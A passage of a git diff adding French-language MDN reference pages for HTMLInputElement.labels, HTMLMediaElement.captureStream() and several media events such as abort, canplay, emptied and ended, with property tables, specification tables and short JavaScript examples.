+    The following properties have been added: <code>autocomplete</code>, <code>autofocus</code>, <code>dirName</code>, <code>files</code>, <code>formAction</code>, <code>formEncType</code>, <code>formMethod</code>, <code>formNoValidate</code>, <code>formTarget</code>, <code>height</code>, <code>indeterminate</code>, <code>labels</code>, <code>list</code>, <code>max</code>, <code>min</code>, <code>multiple</code>, <code>pattern</code>, <code>placeholder</code>, <code>required</code>, <code>selectionDirection</code>, <code>selectionEnd</code>, <code>selectionStart</code>, <code>step</code>, <code>validationMessage</code>, <code>validity</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>, <code>width</code>, and <code>willValidate</code>.<br>
+    The following methods have been added: <code>checkValidity()</code>, <code>setCustomValidity()</code>, <code>setSelectionRange()</code>, <code>stepUp()</code>, and <code>stepDown()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>size</code> property is now an <code>unsigned long</code>. The <code>type</code> property must be entirely given in lowercase characters.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-6043025', 'HTMLInputElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLInputElement")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{ HTMLElement("input") }}</li>
+</ul>
diff --git a/files/fr/web/api/htmlinputelement/labels/index.html b/files/fr/web/api/htmlinputelement/labels/index.html
new file mode 100644
index 0000000000..f6efa64dce
--- /dev/null
+++ b/files/fr/web/api/htmlinputelement/labels/index.html
@@ -0,0 +1,70 @@
+---
+title: HTMLInputElement.labels
+slug: Web/API/HTMLInputElement/labels
+tags:
+  - API
+  - DOM
+  - Propriété
+  - Étiquettes
+translation_of: Web/API/HTMLInputElement/labels
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété en lecture seule <code><strong>HTMLInputElement.labels</strong></code> renvoie une {{domxref("NodeList")}} (<em>liste de noeuds</em>) des éléments {{HTMLElement("label")}} (<em>étiquette</em>) associés avec l'élément {{HTMLElement("input")}} (<em>entrée</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>labelElements</var> = <var>input</var>.labels;
+</pre>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Une {{domxref("NodeList")}} contenant les éléments <code>&lt;label&gt;</code> associés avec l'élément <code>&lt;input&gt;</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;label id="label1" for="test"&gt;Label 1&lt;/label&gt;
+&lt;input id="test"/&gt;
+&lt;label id="label2" for="test"&gt;Label 2&lt;/label&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">window.addEventListener("DOMContentLoaded", function() {
+  const input = document.getElementById("test");
+  for(var i = 0; i &lt; input.labels.length; i++) {
+    console.log(input.labels[i].textContent); // "Label 1" et "Label 2"
+  }
+});</pre>
+
+<p>{{EmbedLiveSample("Exemple", "100%", 30)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#dom-lfe-labels", "labels")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "forms.html#dom-lfe-labels", "labels")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.HTMLInputElement.labels")}}</p>
diff --git a/files/fr/web/api/htmlmediaelement/abort_event/index.html b/files/fr/web/api/htmlmediaelement/abort_event/index.html
new file mode 100644
index 0000000000..05fe0a451a
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/abort_event/index.html
@@ -0,0 +1,87 @@
+---
+title: 'HTMLMediaElement: abort event'
+slug: Web/API/HTMLMediaElement/abort_event
+tags:
+  - API
+  - Event
+  - HTMLMediaElement
+  - Reference
+  - Web
+  - abort
+translation_of: Web/API/HTMLMediaElement/abort_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <strong><code>abort</code></strong> se déclenche si l'élément écouté ne s'est pas chargé complétement. Il est désactivé si le résultat obtenu est une erreur.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler property</th>
+   <td>{{domxref("GlobalEventHandlers/onabort", "onabort")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">const video = document.querySelector('video');
+const videoSrc = 'https://path/to/video.webm';
+
+video.addEventListener('abort', () =&gt; {
+  console.log(`Abort loading: ${videoSrc}`);
+});
+
+const source = document.createElement('source');
+source.setAttribute('src', videoSrc);
+source.setAttribute('type', 'video/webm');
+
+video.appendChild(source);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "media.html#event-media-abort")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-abort")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+
+
+<p>{{Compat("api.HTMLMediaElement.abort_event")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li>{{domxref("HTMLVideoElement")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("video")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlmediaelement/canplay_event/index.html b/files/fr/web/api/htmlmediaelement/canplay_event/index.html
new file mode 100644
index 0000000000..95fdb08c7e
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/canplay_event/index.html
@@ -0,0 +1,80 @@
+---
+title: 'HTMLMediaElement: canplay'
+slug: Web/API/HTMLMediaElement/canplay_event
+translation_of: Web/API/HTMLMediaElement/canplay_event
+---
+<p>L'événement <code>canplay</code> est déclenché lorsque l'<a href="/fr/docs/Glossaire/User_agent">agent utilisateur</a> peut jouer le média, mais estime que trop peu de données ont été chargées pour le jouer jusqu'à la fin sans avoir à l'arrêter pour charger d'avantage de contenu dans la mémoire tampon (buffer).</p>
+
+<h2 id="Informations_Générales">Informations Générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlmediaelement/canplaythrough_event/index.html b/files/fr/web/api/htmlmediaelement/canplaythrough_event/index.html
new file mode 100644
index 0000000000..9a67a55a00
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/canplaythrough_event/index.html
@@ -0,0 +1,80 @@
+---
+title: 'HTMLMediaElement: canplaythrough'
+slug: Web/API/HTMLMediaElement/canplaythrough_event
+translation_of: Web/API/HTMLMediaElement/canplaythrough_event
+---
+<p>L'événement <code><strong>canplaythrough</strong></code> est déclenché lorsque le user agent peut jouer le média et estime que suffisament de données ont été chargées pour le lire jusqu'au bout. (Sans s'arrêter afin de charger plus contenu en mémoire)</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlmediaelement/capturestream/index.html b/files/fr/web/api/htmlmediaelement/capturestream/index.html
new file mode 100644
index 0000000000..75a73c45f9
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/capturestream/index.html
@@ -0,0 +1,94 @@
+---
+title: HTMLMediaElement.captureStream()
+slug: Web/API/HTMLMediaElement/captureStream
+tags:
+  - API
+  - Audio
+  - HTML DOM
+  - HTMLMediaElement
+  - Media
+  - Media Capture DOM Elements
+  - Method
+  - Reference
+  - Video
+  - captureStream
+translation_of: Web/API/HTMLMediaElement/captureStream
+---
+<div>{{APIRef("HTML Media Capture")}}</div>
+
+<p><strong><code>captureStream()</code></strong> est une méthode de l'interface {{domxref("HTMLMediaElement")}} retournant un objet {{domxref('MediaStream')}} qui diffuse en temps réel l'enregistrement d'un contenu obtenu dans un élément média.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>mediaStream</em> = mediaElement.captureStream()</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Retours">Retours</h3>
+
+<p>Un objet {{domxref('MediaStream')}} pouvant être utilisé en tant que source pour des données audio et/ou vidéo par d'autres média traitant du code, ou comme source pour <a href="/en-US/docs/Glossary/WebRTC">WebRTC</a>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, un écouteur d'événement est mise en place, permettant la capture du contenu d'un élément média avec l'ID <code>"playback"</code> dans un {{domxref("MediaStream")}} lors d'un clic sur un bouton de lancement. La flux peut être utilisée dans d'autres buts—comme une source de diffusion via WebRTC, vous permettant de partager des vidéos pré-enregistrées avec une autre personne lors d'un appel video.</p>
+
+<pre class="brush: js">document.querySelector('.playAndRecord').addEventListener('click', function() {
+  var playbackElement = document.getElementById("playback");
+  var captureStream = playbackElement.captureStream();
+  playbackElement.play();
+});
+</pre>
+
+<p>Voir <a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a> pour des exemples et explications plus détaillées et complexes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements','#widl-HTMLMediaElement-captureStream-MediaStream','captureStream()')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Déclaration initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités">Compatibilités</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLMediaElement.captureStream")}}</p>
+
+<h3 id="Firefox-notes_spécifiques">Firefox-notes spécifiques</h3>
+</div>
+
+<p>Avant Firefox 51, vous ne pouviez pas utiliser <code>captureStream()</code> sur un élément média dont la source était, lui-même, un objet {{domxref("MediaStream")}} (comme un élément {{HTMLElement("video")}} présentant un flux reçu à travers un {{domxref("RTCPeerConnection")}}). Au commencement de  51, ça fonctionne. ce qui veut dire que vous pouvez capturer le flux d'un élément video et utiliser {{domxref("MediaRecorder")}} pour l'enregistrer. Voir {{bug(1259788)}} pour plus de détails.</p>
+
+<p>Cependant, <code>captureStream()</code> reste préfixé <code>mozCaptureStream()</code> sur Firefox pour une bonne raison: il y a quelques etrangetés dans l'implémentation actuelle qui mérite d'être soulignées :</p>
+
+<ul>
+ <li>Actuellement, l'implémentation de Firefox fonctionne uniquement (comme décrit dans les spécifications) quand la source de l'élément média est elle-même, donc une instance {{domxref("MediaStream")}}.</li>
+ <li>Si la source de l'élément média n'est pas un <code>MediaStream</code>, la sortie de cette méthode n'est pas compatible avec les spécifications, et si vous changez la source après avoir commencé la capture, la sortie de la capture du flux ne peut accepter les nouvelles données source suite à une incompatibilité, donc aucun  {{domxref("MediaStreamTrack")}}s sera ajouté de la nouvelle source <code>MediaStream</code> au flux capturé, résultant d'une sortie n'ayant pas capturé la source mise à jour.</li>
+ <li>Repasser la source en <code>MediaStream</code> ajoute des pistes au flux et fonctionne de nouveau comme prévu.</li>
+ <li>L'appel à <code>mozCaptureMediaStream()</code> sur un élément avec une source <code>MediaStream</code> retourne un flux qui contient uniquement les pistes jouées par un <code>MediaStream</code>.</li>
+ <li>Si vous appellez <code>mozCaptureMediaStream()</code> sur un élément média sans source, son mode de compatibilité va se baser sur la première source ayant été ajoutée; Par exemple, Si c'est un <code>MediaStream</code>, alors la capture du flux va seulement fonctionner avec une source MediaStream à partir de ce moment.</li>
+ <li>Ce comportement particulier va être supprimer un fois que le support des sources non-<code>MediaStream</code> aura atteint la spécification et que la méthode ne sera plus préfixée. Voir {{bug(1259788, "bug", 160)}} pour plus de détails.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API/Recording_a_media_element">Recording a media element</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></li>
+ <li>{{domxref("HTMLCanvasElement.captureStream()")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+</ul>
diff --git a/files/fr/web/api/htmlmediaelement/durationchange_event/index.html b/files/fr/web/api/htmlmediaelement/durationchange_event/index.html
new file mode 100644
index 0000000000..0c5573379c
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/durationchange_event/index.html
@@ -0,0 +1,80 @@
+---
+title: 'HTMLMediaElement: durationchange'
+slug: Web/API/HTMLMediaElement/durationchange_event
+translation_of: Web/API/HTMLMediaElement/durationchange_event
+---
+<p>L'évènement <strong><code>durationchange</code> </strong>est déclenché quand l'attribut de durée est mis à jour.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlmediaelement/emptied_event/index.html b/files/fr/web/api/htmlmediaelement/emptied_event/index.html
new file mode 100644
index 0000000000..d550ba2b11
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/emptied_event/index.html
@@ -0,0 +1,80 @@
+---
+title: 'HTMLMediaElement: emptied'
+slug: Web/API/HTMLMediaElement/emptied_event
+translation_of: Web/API/HTMLMediaElement/emptied_event
+---
+<p>L'événement <strong><code>emptied</code></strong> est déclenché lorsqu'un média est devenu vide. Par exemple, cet événement est envoyé si le média a déjà été chargé (complètement ou partiellement), et que la méthode <em>load() </em>est appelé pour le recharger.</p>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlmediaelement/ended_event/index.html b/files/fr/web/api/htmlmediaelement/ended_event/index.html
new file mode 100644
index 0000000000..742ad75319
--- /dev/null
+++ b/files/fr/web/api/htmlmediaelement/ended_event/index.html
@@ -0,0 +1,98 @@
+---
+title: 'HTMLMediaElement: ended'
+slug: Web/API/HTMLMediaElement/ended_event
+translation_of: Web/API/HTMLMediaElement/ended_event
+---
+<p>L'événement <strong>ended</strong> est déclenché lorsque la lecture ou le streaming s'est arrêté parce que la fin du média a été atteinte ou qu'aucune donnée n'est disponible.</p>
+
+<p>L'événement se produit dans deux contextes liés mais unique:</p>
+
+<ul>
+ <li>Les éléments basés sur {{domxref("HTMLMediaElement")}} ({{HTMLElement("audio")}} et {{HTMLElement("video")}}) déclenchent <strong>ended</strong> lorsque la lecture du média atteint la fin.</li>
+ <li>Les pistes de flux média, qui sont basées sur l'interface {{domxref("MediaStreamTrack")}}, déclenchent <strong><code>ended</code></strong> lorsque <span id="result_box" lang="fr"><span>la source de la piste interrompt définitivement l'envoi de données sur le flux. Il y'a différentes manières d'y arriver</span></span>:
+  <ul>
+   <li>il n'y a plus de données à envoyer.</li>
+   <li>L'utilisateur a <span id="result_box" lang="fr"><span>révoqué les autorisations nécessaires pour que les données soient envoyées</span></span>.</li>
+   <li><span id="result_box" lang="fr"><span>Le matériel générant les données source a été supprimé ou éjecté</span></span>.</li>
+   <li><span id="result_box" lang="fr"><span>Un peer distant a définitivement cessé d'envoyer des données.</span> <span>La mise en pause des médias ne génère pas l'événement <strong>ended</strong></span></span>.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Informations_générales">Informations générales</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Spécification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ended">HTML5 media</a> et <a href="https://www.w3.org/TR/mediacapture-streams/#event-mediastreamtrack-ended">Media Capture and Streams</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Event")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagation</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Annulable</dt>
+ <dd style="margin: 0 0 0 120px;">Non</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cible</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Action par défaut</dt>
+ <dd style="margin: 0 0 0 120px;">Aucune</dd>
+</dl>
+
+<div class="note">
+<p><span id="result_box" lang="fr"><span>Bien que cet événement soit défini dans deux spécifications, à ce moment-là, les deux spécifient cet événement de manière identique, nous avons donc documenté comme si elles ne faisaient qu'une.</span> <span>Si à un moment donné, cela change, la documentation sera révisée.</span></span></p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Evénements_liés">Evénements liés</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
